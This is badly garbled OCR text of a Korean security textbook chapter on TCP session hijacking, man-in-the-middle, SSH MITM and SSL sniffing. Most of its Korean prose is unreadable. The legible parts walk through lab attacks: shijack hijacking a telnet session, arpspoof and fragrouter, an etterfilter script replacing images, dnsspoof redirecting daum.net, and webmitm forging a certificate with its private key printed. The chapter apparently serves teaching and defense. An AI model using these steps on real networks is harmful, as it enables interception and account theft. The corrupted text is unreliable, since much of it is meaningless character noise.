as.,g 5<.>_r NEa} A

Chapter 09 M|M o}O|x{Z




=

01 MM 10| X2 22
02 TCP MM 3}0|xH 2
03 MITM &4

\_

N\

IT C&°KBOOK

\




KBOOK

ITC®

4|1

110

r

i [
L jo
o3 %
{F w
|r_._._ o_._._
L sl
10 -
ol 10

=
o .
—— Ll =
o YL
W o< Hn_l
o < Y
o wu T
o < R
= wn K
of Om =<
N N N
Ho Ho Ho
0 70 0
K K K
S S S
{0 {0 {0
7 Tl T
T T T




I'

1. b4 5to|xf 2 &4

ITC®TKBOOK

1.1 A& ot0IMHE =3

0|'

m M| S}0| X A (Session Hijacking)
= ‘MM ZE2X7]'2f= 2|0]
= MM AR AR, B 5 AFH 2t 245t M|
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2. TCP M|M o[ x|

2.1 TCP Al& otO| HZI0ll CHet Ol ol

B TCP MM 5}0|x| &

7=|)
HH 2 Fojo EXFS TtnE
. B M EHAY 4 UOH, A|BA HHE Lot £

= Blind Attack(&Zd M| 0| XHZ)

- A Hds AT = Sl A[EL EHE ¢
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2. TCP M| 50| xHZ

2.1 TCP A& otO|AZ0fl CHSt Ol ol

BTCP A|HA U

-l-

(=15

[ -

#9-1 TCP HZ0lMe] ARA HH F2|

ITC®TKBOOK

S MY

Clent_My_Seq 220[AHET Z2[Eh= RHI2| AREA EHH
Client_Server_Seq S20JET} 21 = AL AIBA HH
Server_My_Seq M7} Et2leh= RpAle] AFRA Hi
Server_Client_Seq M7} 210 QL= S210|HES| A[BA EHH
Data_Len ciole2] Zo|
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2. TCP M| 50| xHZ
2.1 TCP A& otO|AZ0fl CHSt Ol ol

B 3 7|3H(Synchronized) AEf

SaogE M
o Closed Listen
__________ swset |  luen
Cliert My SYN(Ci
o Seq N'(Glent_My‘Squ .
A Al Server Client Seq
Z2d
o SWeet | e +0) | SN Recaived
My_Sed gerver_Clet
L3 CK(Server == Server_My_Seq Al
Cliert Sﬁr;ler_Seq SYN/A Server_Client Seq + 1
=]
Established ACK(Clent_Servey T Established
o £
Ml g8

T8 9-2 HAEQITCP MiMe| 48 o

= Client_My_Seq = Server_Client_Seq
= Server_My_Seq = Client_Server_Seq

ITC®TKBOOK

Page 7



2. TCP M| &}o|xfjz

ITC®TKBOOK

2.1 TCP A& otO|AZ0fl CHSt Ol ol

B H| S 7|3} (Desynchronized) 4FE|
@ G[Oo|57F ™MEE[7| MK = 3 Ql(stable) 2 Ef
 Client_My_Seq # Server_Client_Seq

« Server_My_Seq # Client_Server_Seq
@ HIO|H7t M&E M= M, S20|EN MHO| 5¢ H= TEE[X| .
 Server_Client_Seq < Client_My_Seq

 Client_My_Seq < Server_Client_Seq + Data_Len
® IjzZl =410] 2752t &EIE, HO|HE B3l
 Server_Client_Seq + Data_Len < Client_My_Seq

 Client_My_Seq < Server_Client_Seq

B H|F7|3t LEf= T

" AEOIN =7 28

— |
* 2(Null) HIOJHE ELlfj= TH

AS §55 B GE AL EHE MZ2 85 448
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2.1 TCP A& otO|AZ0fl CHSt Ol ol

ITC®TKBOOK

BMER Z5 4807

* Aot SE0[AUETE 4AF &4 U= A|EL GHE &AM £8

- SCI0|ES
« Client_My_Seq = &4dRX}7t M5t Server_Client_Seq
 Client_Server_Seq = 54 Xt7} /35t Server_My_Seq
 MHZS
« Server_Client_Seq = 54 If7f M3t Client_My_Seq
« Server_My_Seq = 34X} ]
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2. TCP M| 50| xHZ
2.1 TCP A& otO|AZ0fl CHSt Ol ol

ITC®TKBOOK

So0|HE S4Kt M
Established Closed Estabished
o (Synchronized) (Synchronized)
Established Closed RST Closed
&
_________ EsdaUIShedSYNSemSY Closed
(3 Mt‘fLCI!enL MV,SEQJ
B Egabished | = SWNSent . v Sed S YN Received
o is SYN' Sent SN ACK(Senver My_Sed) SYN_Recei
o Established Esiabished _ ACKIA lent My seq) Estabished
I} _______ Established |——u Pet | | Estabished
| Packet
ACK
ACK

13 9-3 TCP MR¥ si0|xiZ 52 Al TCP ARie| HE 2y
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2.1 TCP A& otO|AZ0fl CHSt Ol ol

H o3 AE(Ack Storm)
= SCIO[QEVI MOl IiZls EUfH MH = SaH0|X| 2 A|HEL HHE

OIAISIH, A|RIA HHE GhE7| 28 ACK IjZl0f| Server_My_Seq2t
Server_Client_Seq& =0} EH.
g %E}O|O1 E= MHZ} EL|2 Server_Client_Seq”t XtAlQ| Client_My_Seq?} C}

= o

EZ 2oIsta, MH{0f Client_My_Seq 2} Client_Server_Seq7} &7l ACKE H
LHE O o|2{et uE0o| Fotg| Hr=kl= 8%E <.

d
~ TR E T30 MLE|X| YEE ARP & 137 MA

 —
T — =
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2. TCP M|M sjo|xj
Al 9-1 &4l HI& S0l XA oD

ITC®TKBOOK

A5 o EIU M AAE! : REE MHH 16
« L S2J0|QE AIAH : REE HAIE 14
- SAKAAH 22| 2lsA
- TR Z278 : arpspoof, shijack
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2. TCP M|M 3}o|xf

&5 9-1 €4l N& ot0IxHZ ot

ITC®TKBOOK

@ shijack A& X|5}7|
= TCP M| S}O|XHZOf| At shijack CHHRZEE
https://packetstormsecurity.com/files/24657/shijack.tgz.html

tar xvzf shijack.tgz

root@kali: ~/Downloads/shijack - O N <

File Edit View Search Terminal Help
root@kali:~/Downloads#|tar xvzf shijack.tgz|
shijack/

shijack/shijack.c

shijack/shijack-fbsd

shijack/README

shijack/shijack-1nx

shijack/shijack-sunsparc
root@kali:~/Downloads# cd shijack/
root@kali:~/Downloads/shijack# 1s

root@kali:~/Downloads/shijack# |j

72 9-5 shijackel &% sHA| X A3 ol 20l
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@ shijack & X|5}7
= shijack-Inx& A&l
/shijack-Inx

<interface>
<src ip>
<src port=>
<dst ip>
<dst port>
[=r]

= AlSH &£ [=)
ot 2& =4 =l
root@kali: ~/Downloads/shijack -JC N -

File Edit View Search Terminal Help

root@kali:~/Downloads/shijack#]./shijack-1nx|
Usage: ./shijack-lnx <interface> <src 1p> <src port> =dst ip> <dst ports [-r]

The interface you are going to hijack on.

The source ip of the connection.

The source port of the connection.

The destination IP of the connection.

The destination port of the connection.

Reset the connection rather than hijacking it.

Coded by spwny, Inspiration by cyclozine (http://www.geocities.com/stasikous) .
root@kali:~/Downloads/shijack# I

J2 9-6 shijack—Inx2| sl SM 0l

ITC®TKBOOK
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@ BY "5 449

telnet 192.168.0.2

wishfree@ubuntu-5-16: ~

ishfree@gubuntu-14:~-S telnet 192.168.6.2
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '~]'.
Ubuntu 16.84 LTS
ubuntu-5-16 login: wishfree
Password:
Last login: Sun Sep 18 15:33:19 KST 2016 from 192.168.6.200 on pts/0
Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-36-generic x86_64)

* Documentation: https://help.ubuntu.com/

123 packages can be updated.
0 updates are security updates.

wishfree@ubuntu-5-16:~5

O% 9-7 Bl dZ 44
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2. TCP M| &}o|xfjz
AlZ 9-1 Y A 5H0ITHZ 51D

ITC®TKBOOK

® mjzl Zeo] 285
" ARP AFE &4 4 fragrouterE 0| &510] T{ 20| BOX[X] RE= FH
fragrouter -B1

root@kali: ~/Downloads/shijack @00

File Edit View Search Terminal Help
rootfikali:~/Downloads/shijack#
oot@kali:~/Downloads/shijack# fragrouter -Blj
\iragrouter‘: base-1: normal IP forwarding

121 9-8 fragrouter &
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2. TCP M|M o[ x|
ITC®" KBOOK

= 2Ol MH2f SEO0|UE B5 ARP A%
arpspoof -t 192.168.0.2 192.168.0.200

root@kali: ~ - o>

File Edit View Search Terminal Help

root@kali:~# arpspoof -t 192.168.0.2 192.168.0.200
B:c:29:ad:25:88 0:c:29:c4:9a:d 0806 42: arp reply 192.168.0.200 is-at @:c:29:ad:

25:88
0:c:29:a8d:25:88 0:c:29:c4:9a:d 0BO6 42: arp reply 192.168.0.200 is-at 0:c:29:ad:

25:88
0:c:29:ad:25:88 0:c:29:c4:9a:d 0806 42: arp reply 192.168.0.200 is-at @:c:29:ad:

25:88

T219-9 Wyl Aol CifEt ARP AZL 32

arpspoof -t 192.168.0.200 192.168.0.2

root@kali: ~ @00

File Edit View Search Terminal Help

root@kall:# arpspoof -t 192.168.0.200 192.168.0.2
0:c:29:ad:25:88 0:c:29:37:80:4d 0806 42: arp reply 192.168.0.2 is-at 0:c:29:ad:2

5:88
0:c:29:ad:25:88 0:c:29:3f:80:4d 0806 42: arp reply 192.168.0.2 is-at 0:c:29:ad:2

5:88
B:c:29:ad:25:88 0:c:29:37:80:4d 0806 42: arp reply 192.168.0.2 is-at 0:c:29:ad:2

5:88

J29-10 W4 S240IAE0 Lhet ARP AR 32
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® Ij7l =2l5t7|
= tcpdumpE O[ &30 "l MuQt Z2t0|AE 7ol Izl =0l
root@kali: ~/Downloads/shijack o000

File Edit View Search Terminal Help

09:26:21.468025 IP[192.168.0.2.telnet > 192.168.0.200.37426:|Flags [P.], seq 273
:372, ack 14, win 22/, options [nop,nop, S val B12132 ecr /1/340], length 99

09:26:21.468149 IP 192.168.0.200.37426 > 192.168.0.2.telnet: Flags [.], ack 372,
win 253, options [nop,nop,TS val 717340 ecr 812132], length ©
09:26:21.468208 IP 192.168.0.200.37426 > 192.168.0.2 .telnet: Flags [.], ack 372,

win 253, options [nop,nop,TS val 717340 ecr 812132], length O

2911 &yl AZofl chist Tcpdump 22t

® MM otojxfE &4 +Ast7|
/shijack-Inx eth0 192.168.0.200 37426 192.168.0.2 23

root@kali: ~/Downloads/shijack (- O <]
File Edit View Search Terminal Help

root@kali:~/Downloads/shijack# ./shijack-lnx eth@ 192.168.0.200 37426 192.168.0.
P 23

Waiting for SEQ/ACK to arrive from the srcip to the dstip.
(To speed things up, try making some traffic between the two, /msg person asdf

18 9-12 shijackS 028t Ml Slo[xHZ 1

ITC®TKBOOK
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2. TCP M| &}o|xjjZ
9-1 &l AI& 50| KA 51|

I'

ITC®TKBOOK

Al
=

Il>

® MM 5Ho|ZHZE &4 =5t
= 2EfO|AEO|M OFF Z[L} B=OIH shijackO Al EX[SE 2| A|EA EHE

stolstn MM S sho|xf 2 gt

root@kali: ~/Downloads/shijack 0O
File Edit View Search Terminal Help
root@kali:~/Downloads/shijack# ./shijack-1nx eth@ 192.168.0.200 37426 192.168.0.

2 23
Waiting for SEQ/ACK to arrive from the srcip to the dstip.
(To speed things up, try making some traffic between the two, /msg person asdf

Got packet! SEQ = Ox92738bf2 ACK = 0Ox59Z2ebba
Starting hijack session, Please use ~“C to terminate.
Enything you enter from now on is sent to the hijacked TCP connection.

1% 9-13 shijackS 018t MK stofxHZ 2
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2. TCP M|

Al
=

oto|xH 3
9-1 &Y A& 5HOITHZSHD|

I'

ITC®TKBOOK

Il>

® M/d S1o|x|E 54 35|
= M| SlO|XfZO| 2t= =l &EJO|A] test C|HER| S Mdot= HHO H
mkdir test

root@kali: ~/Downloads/shijack (- ]
File Edit View Search Terminal Help

Got packet! SEQ = 0x9273%bf2 ACK = 0x592eb5a
Starting hijack session, Please use “C to terminate.
Anything you enter from now on is sent to the hijacked TCP connection.

kdir test

|
21 9-14 MK S0l § Bl 2

s Y ABOIA ST BEE ol

wishfree@ubuntu-5-16: ~

wishfree@ubuntu-5-16:~5 1s
test
wishfree@ubuntu-5-16:~5

A8 9-15 MK slolxliZol| 2fgt CIlEd| 4 Zat
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2. TCP M|M o[ x|
ITC®" KBOOK

2.2 TCP Ml& of0| &2 Eot T

m TCP M| 5}0|X}Z

—r—
I o_
=|_I=_
2 H
o
=
s

* MEEEARL BHE FY(H2 2 N30t HlS7|=t ERO]| WX =X| EX|

= ACK Storm ErX]

« A= A0 HX| = HO[H7F MSEH Hetot A= A7(0 Cieh 17 112l
HUA £33, MZO gt ™ 1j2l0] §AXOZ 2FIX| £5}7| 20 F6t
of Zz2[A &.

= I Z10| SAIT AN A =T EFX]

O
* SAXZL SO 70 S22 StEE T2l FAL TS0
= 01|6I-X| Eol- I—l_/.&9| E| Ml

M43 StOIMZ ol tiet =[2d2f A2 HO|H T&2| Y=t
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3. MITM &4

ITCRTKBOOK
3.1 MITM 320l CH8t Ol
® MITM(Man In The Middle) &4
= At A2 =727t AO|Yf| 7|0 E= A
* SCIO|HEL} MH Q| S4I0f| =2tE x2S O|E5tHA| ARP E|CO|H EQf
ICMP 2|CIO|H E, ARP AF 0| FEX[Z0| &[X} O|F ==75}7] &[5l Bt

- MITME T2l LH8 S H-TY| AlE
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ITC®TKBOOK

3. MITM &
-2

259

&l 0llA MITM

I]d

Aol

>
ot
N

3 - SAXAA- 22| 2lsA

LIS 2 M AJAR : FE=R M 2012
« SLOIRME ALY =R 7

« R TZ2H : ettercap

nx

@ WE & MY 274d517]
= CH#tinetpubWwwwroot Z 40| 12 mtg 27|

/' [@ bonohonajpg (303xA14) 3
= —

¢ @ [® 19216801/bonotonc jps %]

‘2‘0(‘
L. 5

J2 917 WiE & Mol a2 o Page 23




i)

3. MITM &
2

25 9-

:
ol

2ol MITM SA01D|

@ etterfilter 75} 7|
=54 ?loiM EHE BN UHE0 =

filter.txt (~/Downloads) - VIM

File Edit View Search Terminal Help
[t (ip.proto == TCP && tcp.src == 8@) {

msg( "Replace the picturs.hn");

¥

replace("img src=", "img src=\"http://192.168.0.1/bonobeono. ipgi" "
replace("IMG SRC=", "img src=\"http://192.168.0.1/ponobono. jpgh" "

- o~

AL

12 9-18 etterfilter 24 T

ITC®TKBOOK
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ITC®TKBOOK

3. MITM &
-2

259

20l A MITM

I]d

ZotJ|

® etterfilter Z 1} s} 7|

etterfilter -o filter.ef filter.txt

root@kali: ~/Downloads o608
Fila Edit View Search Terminal Help
pot@kali:~/Downloads# etterfilter -o filter.ef Tllter.txt|

etterfilter 0.8.2 copyright 2001-Z015 Ettercap Developmznt Teanm
14 protocol tables loaded:
DECODED DATA udp tcp esp gre lcmp ipvwS ip arp wifi fddi tr eth

13 constants Loaded:
VRRF 05PF GRE UOP TCF ESP ICWMPE ICMP PPTE PPPCE L[PE 1P ARP

Parsing source file 'filter.txt' done.
Unfolding the metaz-tree done.
Converting labels to real offsets done.
Writing output to 'filter.ef' daone.

-= Script encoded into 8 instructions.

root@kali:~/Downloads# I

12 9-19 etterfilter ZMIA
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@ MITM 324 £=8li5}7|
= HO/ 20 A ettercaps -G SME 0|20 GUI 2tHdo =2 A

ettercap - G

ettercap 0.8.2 08
File Sniff Options Info
Unified sniffing... Cirl+U
Bridged sniffing... Ctrl+B

Crl+P |

Set peap filter...

121 9-20 ettercap= GUI etEo= Al
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I-

3. MITM &4
2 30l MITM 3&061D|

25 9-

@ MITM 24 £clis}7|
= [Sniff]-[Unified Sniffing] /1EH
= [Hosts]-[Hosts List] & A5} [Hosts]-[Scan for hosts] & 2S5 Sl|E HE
3o BE SAEE =9

=
= —I—7=| EHAF AlAE‘l

rulru M|

.I

—

JEE

s, 37 haol 27

ettercap 0.8.2 00
Start Targets Hosts View Mitm Filters Logging Pluging Info
Host List 3
|IP Address MAC Address Description

192.168.0.1 00:0C:29.44: 2C:EA

192.168.0.2 Q0n0C:29:C4:9M:0D

192.168.0.100 0Q0:0C:29:F3:D4:93

|192.168.0.200 00:0C:29:3F:80:4D

Delete Host [ Add to Target 1 Add to Target 2

T12 9-22 SAE 2E 501 2l 2 tii(Target) 7}
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3. MITM &4
ITC®" KBOOK
a5 9-2 oA MITM S0t
@ MITM 324 £=8li5}7|
= [Targets]-[Current Targets]& AMSIO FIt=l 54 Clj4 =HOl
= [Filters]-[Load a filter] & O| &35} filteref HE X|H
ettercap 0.8.2 o200 ettercap 0.8.2 200
Start Targets Hosts View Mim Filters Logging Plugins Info Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List X Targets ¥ Host List @ Targats ¥
Target1 Target 2 Target1 | Srpfimnng Shifercoiye
77777 - Delete , Add — | Delete Add - Delete Add Delete Add

O 9-23 FIIE 34 thl(Target) &2l

02 9-24 e Mey
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3. MITM 2
Al 9-2 F0IA MITM 22510

@ MITM &4 +d5}7|

= [Mitm]-[ARP poisoning]© £ ARP A
= T A A 'Sniff remote connections

H
ALY

ettercap 0.8.2

| Start Targets Hosts View Mitm Filters Logging Plugins Info

l Host List ®  |[Targets ¥

Target 1

192.168.0.100

I Delate

8 9-25 ARP 2% 34

ICMP redirect._.

Sl Target 2
Part stezling...
DHCP spoofing...

MDP poisoning...

Stop mitm attack(s)

Add Delete

A3

Add

-l

ITC®TKBOOK
EHEZE Sots WA S

MITM Attack: ARP Poisoning @

Cptional parameters
I« Sniff remote connections.

) Only poison one-way.

Cancel DK
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13 9-26 MITM SZ0| +d&|1 U= ZS20|THE
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3. MITM &4
3.2 SSH MITM

ITC®TKBOOK

B SSH(Secure Shell) ¢t 3} 7|t
= 1EHA : SEIO|HET} SSHE Sl SSH MEOf| 25 A2 77| & 2.

217 2F |
el | |=
- SSH &R 77| Ha

J
|

8 9-27 SSH E& 2 A

" 20HA - EEtE|Y Es Ao A2 2 HIO|HE &2 2totil, O|S BiAl AHQ
SM7 |2 F=22or0] MHE TS

2 : ‘
=" o] 2747 & | |
Sl +Z20|HEL| APS7| —

+O|OE] = 2f==}E HI0IE

OE 9-28 SSH B by 2
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3. MITM 2
ITC®" KBOOK
3.2 SSH MITM

B SSH(Secure Shell) &3} 7|
= 30 . M= SE0[AEZRH TSR 2 H23tE H0[HE Xl A2 7|
2 2330t 2, 0|F OrA| SE0[ES| SIW7|2 |2 28iA HO|HEZ S5

S20[2HE SH7| =

=
ﬁ\,,
L 1L

O3 9-29 SSH L5 3
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3. MITM 34
IT C&TKBOOK

3.2 SSH MITM
B SSH &= 3 S40f cijet MITM 54
* 1CHA| - S 2H0[AETE MH 0| SSH H&55 QE0tH SAXZF ARP AFE 0t &4
2 ZZo2 HEQAE HYSIG SSH MH{ Ol ZHAMEH XAl Z7|7|E M5,
SAXE MO XHLO] FE0IHERN ANE S7H7I1E 2F

St MZ Mo

a I 77| 2% 7h7| 23

o/ Bt N M) = =
SSH B7i7| 74 SSH&7H7| s~

S2to[tE 22x} Mt

~18 9-30 SSH MITM 34 1
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3. MITM 2
3.2 SSH MITM

Aof cier MITM 54

H SSH Q3 5}
= 2C0HA - HAAEOI "HE0| M 220 ETE MHOf &
AKXt Aol AHE7|2F 20| ES| SIH7|E B

CRAl Xp2I S AR 7|2 ME 2| S7H7| 2 R2 ool A A=

E

o

4 2ol HO[HE EHE &
__c|>':

P5l' Lig= =ele

=55}

EN=—=> or5 51l < \j 2L EA |
< ol N—— B Yool £ =
e 2%t M

18 9-31 SSH MITM 34 2

EZ HOIHE £2 = sAX= MHZt H&et 4

= 3THAl - M7 Z 20|
225iM SO0|UER TS

OlHE S=otoh 2, CHAl &
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3. MITM &4
3.3 SSL MITM

ITC®TKBOOK

W SSL
= LWAZO|Z V) 7||etst ZdO 2, 40H|EQ} 128H|E U3t Al Jts

- @ 2eto|dlEs MH{O|H XY THsTH HA(RS, 7|
il ot o MY, UAH)S LHE
@ MH= Seo|AEO|H XY THseh BHA0| metE
] il e ME QISME SEIO[AEOH L5
A ko et 93 | 3 AH7} 20| E IZSME 27T 42 20|
EL OISME MHE H2
o @ UB3I|E AFRY HMI|S WHOE MM A
M7 T Ho| SIH7 |2 Y=3lel = AHE ©S
" 6 MBS S2zlo|JEo|H Mawe NMT| 253t
MRl © S20|EL MEE DE HAIXOf io WAl
Saolote olo|e] T FH| 22 CISEH M8 A2 L2le T2 HAIXE 25t
’ = Glo|E M% TR 0|

T8 9-32 SSL OZ e 2l
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3. MITM &4

ITC®" KBOOK
3.3 SSL MITM
mSSL AL|d
= S4X= Yool PISME W8t 7 SEO|AE|AH £ EE=O| SSL M-S
d-dot, Ol F S0 ALE
B2} M2 Mol
SN RE \ 3 M7 98
B2R} A3 ‘i‘i?)) BT
SSL B3| 2 SLBMITE
EOIRE B24%} A

a8 9-33 SSL ALE MITMS2| 3 +
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3. MITM &4

ITCHTKBOOK
3.3 SSL MITM
HSSL AEE
* 3AKH= S2I0|HELL MH 7He| B E AS5lEl HTTPS H|0O|E{ & HTTPZ H
Zot0 SEO|AENA H=

S20|HE

712 9-34 SSL AEZ MITMS] 22 2
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>
i}
©

-3 SSL ALIE 36t

>
o>
ok
ox
e

KEAAEL 22| 2fsA
SHA UL AL H=R 7
« e =273 : dsniff 7| Xlwebmitm, dnsspoof, arpspoof), Wireshark, fragrouter

d

@ SSL 41 2016} 7|
= SSLE & MH|AE XN|SSH= ALO|E 2015}

www.daum.net

BIEREES
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@ DNS £2%d T4 FH|5}PY]

= dnsspoofhosts I} 0f Ct2 AIO|EOf CHSE B2 E =7}6H0]

XS E T
vi ./dnsspoof.hosts
192.168.0.201 *.daum.net =7}

ITC®TKBOOK

-- INSERT --

dnsspoof.host + (~/Downloads) - VIM @00
File Edit View Search Terminal Help
192.168.0.20]1 *.daum.net _
i I
20 ALl

712! 9-37 dnsspoof hosts mi £
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® SSL =2 flet eIE5 A M/dat webmitm 4357
= webmitmS %|X 2 AlSHSEI] QIS Al MM

webtitm

root@kali: ~/Downloads - ol -

File Edit View Search Terminal Help

root@kali:~/Downloads# webmitm
Generating RSA private key, 1024 bit long modulus

e is 65537 (0x10081)

You are about to be asked to enter information that will be incorporated
into your certificate request. L

What you are about to enter is what is called a Distinguished Name or a DN.
There are gquite a few fields but you can leave some blank

For some fields there will be a default wvalue,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:KR

State or Province Name (full name) [Some-State] :SEOUL

Locality Name (eg, city) []:SEOUL

Organization Name (eg, company) [Internet Widgits Pty Ltd] :PWC
Organizational Unit Name (eg, section) []:PWC Forensic

Common Name (e.g. server FQDN or YOUR name) []:

Email Address []:wishfree@empas.com

Please enter the following 'extra' attributes
to be sent with your certificate request

A challenge password []:

An optional company name []:

Signature ok

subject=/C=KR/ST=SEOQUL /L=SEQUL/0=PWC/0U=PWC_Forensic/emailAddress=wishfree@empas
.com

Getting Private key

webmitm: certificate generated
webmitm: relaying transparently

% 9-38 2ISM MY
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u
vi webmitm.crt

webmitm.crt (~/Downloads) - VIM - o N -
File Edit View Search Terminal Help

B----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDLpS]jWPoWH4Q)oaWUR4HU018+Gt 9 fedd4pMG3+A6AR+IN4 ] elviW
PuXxPx28sMTo7N4B0AYHDhhONNSsobeY fysFI21 1GBgp/BE7y312QXB8ONCTErEYs
JhFEueEaX0ocn2+ChAJ2qWz0UBeS46 ft X rAHEx tsAZWWbLI1MP3fmI3RswIDAQAB
AoGACYbuhCdko914/h2AJv FzQzRXPxw2syyS+ZWHvAYbP70ZT xuDXuCObVzgj UVP
90uvBYrogTczAMIL1NafX311i1WpK2imb/GUIRKYI1cNZ reamv+T7HXx4CE6aCT6X
zal SbBGROBNDGXz9z tWKCWwh+ f14c rkQNaWIhl £ztnY961iECQQDYDNbzt fdk fahX
r20SGj Xcbkovp4BYRYwDOzvAS3KE fALFbbFvnOLgvghBB2VE5NRe Twl xvom8AvTo
[LHF96BebAkEA12GzNhaUBpBimTnSIPx fVn15Q5c6D9cDIx Ik ISHANKG+YRDMXSAR
a2r3JcwZ@9AInky5RZ41tbtHreZS1Gj ryQJAWdnEUS3TUDI1M1ejnXytUc5/K4F/
1Pg8Jw9at t9NZSYSxvsZSt 1gPsnXsb6nhRB81mVYwl BCvAGP4L f3HLTHLBQJADUQH
Ut 7+vvFuoWlbsgcgxEcHz/p9nii8Y81lausSiaqQt 719KoJc2hdVyL fEXLp+] XwSEv ]
pBeGzeizzQ9smCwk2QJBANrel rgTE00ahk7scEl4/eKBHppQMsWvbXpdPt16MSiN
XGJIcuJPadZXo2t9/A1dSKHY fLuny+SIRt8XZsBhrBAR=
————— END RSA PRIVATE KEY-----
vvvvv BEGIN CERTIFICATE-----
MIICYTCCAcoCCQDOC]jGUsRu2jzANBgkghk 1GOwBBAQsFADBIMQswCQYDVQQGEWIL
Uj EOMAWGA1UECAWFUGVPYUwxD ] AMBgNVBACMBYNFT LVMMQuwCgYDVQQKDANQVEMx
FTATBgNVBASMDFBXQ19Gb3J1bnNpYzEhMBBGCSqGSIb3DQEJARYSd21 zaGZyZWVA
ZW1wYXMUY29tMB4XDTE2MDkx0TIxMTczMLoXDTE3MDkx0TIxMTczMLowd TELMAKG
AIUEBhMCS1IxDjAMBgNVBAGMBYNFT1VMMQAwDAYDVQQHDAVTRUSY TDEMMACGALUE
CgwDUFdDMRUWEWYDVQQLDAXQVEN FRmOyZW5zaWMx I TATBgkghk 1GOwOBCQEWENdp
c2hmemV1QGVtcGFzLmNvbTCBnzANBgkghk 1G9w@BAQEFAACB] QAwgYk CgYEAyBUo
1j6Fh+ECaGL1EeB1KIvPhrfX3uOKTBt/g0gEfiZ+131ibl]718T8dvLDHEO0ZzeNAGE
wa4YdDZ0 riKG3mHE rBSNpSBvIK f9B08t 9dk Fw fNDQk xKxGLCYRRLNhGlzgHJ9vgoQC
dqlsSFAXkuOn7VEwB+sbbAGYsGy/ZTD935vdObMCAWEAATANBgkghk i G9wBBAQsF
AAOBgQDGlix7 ft2H19] t43gn/cbhjEcB85zecnhrppl ri+wFewglbSG41sWAVKD3V
ogclHZRT re15JoikvTNxpLQUzsjdpc7G/W/umb50 IUx65Y4Jzq07aDyhkKUeUf1Q
BFggsbrxpttyAUxnrulWo6fgHrL7iPL6EL fvtxzdt7nase/bBQg==
————— END CERTIFICATE-----

1,1 ALl
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SSL ALIE &6t

@ ARP Z|CtO[HE &4 B Tzl =0

o
" ARP AZH ZH 43

arpspoof -t 192.168.0.100 192.168.0.1

root@kali: ~/Downloads - ol

File Edit View Search Terminal Help

root@kali:~/Downloads# arpspoof -t 192.168.0.106 192.168.0.1
0:c:29:ad:25:88 0:c:29:f3:d4:93 0806 42: arp reply 192.168.0.1 is-at 0:c:29:ad:2
5:88

B:c:29:ad:25:88 0:c:29:7f3:d4:93 G806 42: arp reply 192.168.0.1 is-at 0:c:29:ad:2
5:88
¢}
5

:c:29:ad:25:88 0:c:29:73:04:593 GBE]GIAE: arp reply 192.168.0.1 is-at 0:c:29:ad:2
:88 1

J% 940 ARP Z|COMIE 27 +3

fragrouter -B1

root@kali: ~/Downloads 00

File Edit View Search Terminal Help

root@kali:~/Downloads# fragrouter -Bl
fragrouter: base-1: normal IP forwarding

a8 9-41 mhzl eflo] 23
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&5 9-3 SSL A LIE =236
L
® DNS 2% 345}1|
dnsspoof -f ./dnsspoof.hosts
root@kali: ~/Downloads (- o )
File Edit View Search Terminal Help
root@kali:~/Downloads# dnsspoof -f ./dnsspoof.host
dnsspoof: listening on eth® [udp dst port 53 and not src 192.168.0.201]
O3 9-42 DNS AL 524 A
-+ o
= SCO|EO| M= offE & AO|EG| B£5H7| O HEfZ BH=7] 23l Ci=
o
HES A
ipconfig /flushdns
i Administrator: Command Prompt (s ®][=] |
Wlsersidninistrator>ipconfig Af lushdns -

indows IP Configuration (4
uccessfully flushed the DNS Resolver Cache.

:lsersidninistrator? -

T2 9-43 22J0|¢ES| DNS HE 7|5
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& Capturing from Local Area Connechon

B e

IT C&TKBOOK

A AAEIN A Wireshark2 THZ] ZHA

File Edit View 6o apkire Anahyee  Stabshics W = Tools Helg
A W & EREQss=F LI Eaaan
(W] Aoply a cisploy flter .. <Ctl /> =3 -] Exprescion..  +
Mo. Time Source Destinaticn Protocd | Length Info =
18 3.E8750682 102.168.6.188 216.58.157.174 TLSwl.2 571 Client Hello |_|
26 3.042080 216.5%.107.171 102.168.6.160 TP 5B 443 » 8785 [ACK] Seq=1 Ack=51% Min=11832 L=..
21 3.999263 216.58.197.174 192.168 6. 100 TLSyL.2 286 Server Hello, Change Clpher Spec, Encrypted.
22 3.956367 192.168.0.188 216.58.197.174 TLSvL.2 254 Change Cipher Spec, Encrypted Handchaks Mecz.

: 23 3.952661 182.168.6. 166 216.58.157.174 TLsvi.2 99 Application Date. il
b Frame 23: 2% bytes on wire (792 bits), 99 bytes captured (792 bits) on interface @ -
I Ethernet II, Src: Vmiare f3:d4:93 (8@:0c:20:f3:d4:93), Det: Wmware 44:2c:ea (0@:8c:20:44:2c:ea)

I Internet Protocol Version 4, Src: 192.168.98.188, Dst: 216.58.197.174 E
4 Transmizzion Control Protoceol, Src Port: B7B5 (B785), Dst Port: 443 (443}, Seq: 718, Ack: 153, Len: 45
Source Port: 8785
Destination Port: 443
[Stream index: 2]
[TCP Segment Len: 45]
Sequence number: 718 (relative sequence number) o
88 Bc 25 44 2c ea BE Gc 20 3 d4 93 02 86 45 B3 ..)DJ.LL :1 ,,,,, E -
48 55 12 of 40 00 86 6C o8 80 cd aof 00 64 dB Jao wlaeflann womtha F
c5 oc 22 51 81 bb 2f 46 aod 94 8f @ 25 2c 58 18 .."Q../@ ....%.P -
o1 86 57 3d P 80 17 @3 23 @@ 28 Tc fa 15 78 % .. =.... ..([|..X. 1
2b 54 91 65 3c 62 d7 66 45 81 cb al b9 15 c9 la +T.e¢<h.f E.......
7c BL db B3 3c Ba Bd G0 82 621 6% 4F G2 4b 5F of |LLL<LLL ,bhﬂ,l{_, i

() ¥ Local Area Connecton:

live capture N progress >

2 9-44 WiresharkE 0l2¢t 13l 24X

|| Packets: 436 - Dnyed: 436 (100.0%) || Profie: Defaulr
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QISMOl7| M=o 81 =2l &
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a A T g0) ge B0t Bao) A A3 EE RS s Googleol| H TEMLCH 21 0IH 2 S5
b HEde 527 o A oiRE wOH

=247 7 logins.daum.net] 4 ALETHE| HEZ & {3 AT = | Hl &
|, LEEALE Of M7} logins.daumnet® & BEE & @20 Hi | S EAEH A A2 S= 2Pt
M7 oL c ME 22 gL g A2 EEE AEN T o7 iiEd
o P B
Jo B RH S S T =
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T2 9-46 SSL ALIE 3 £ AOIE B
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2138l WiresharkO| A =23t T{ZlS X &S, ssldumpE AA S

=
ssldump -a -d -r wireshark.pcap -k webmitm.crt > wireshark_dec.txt
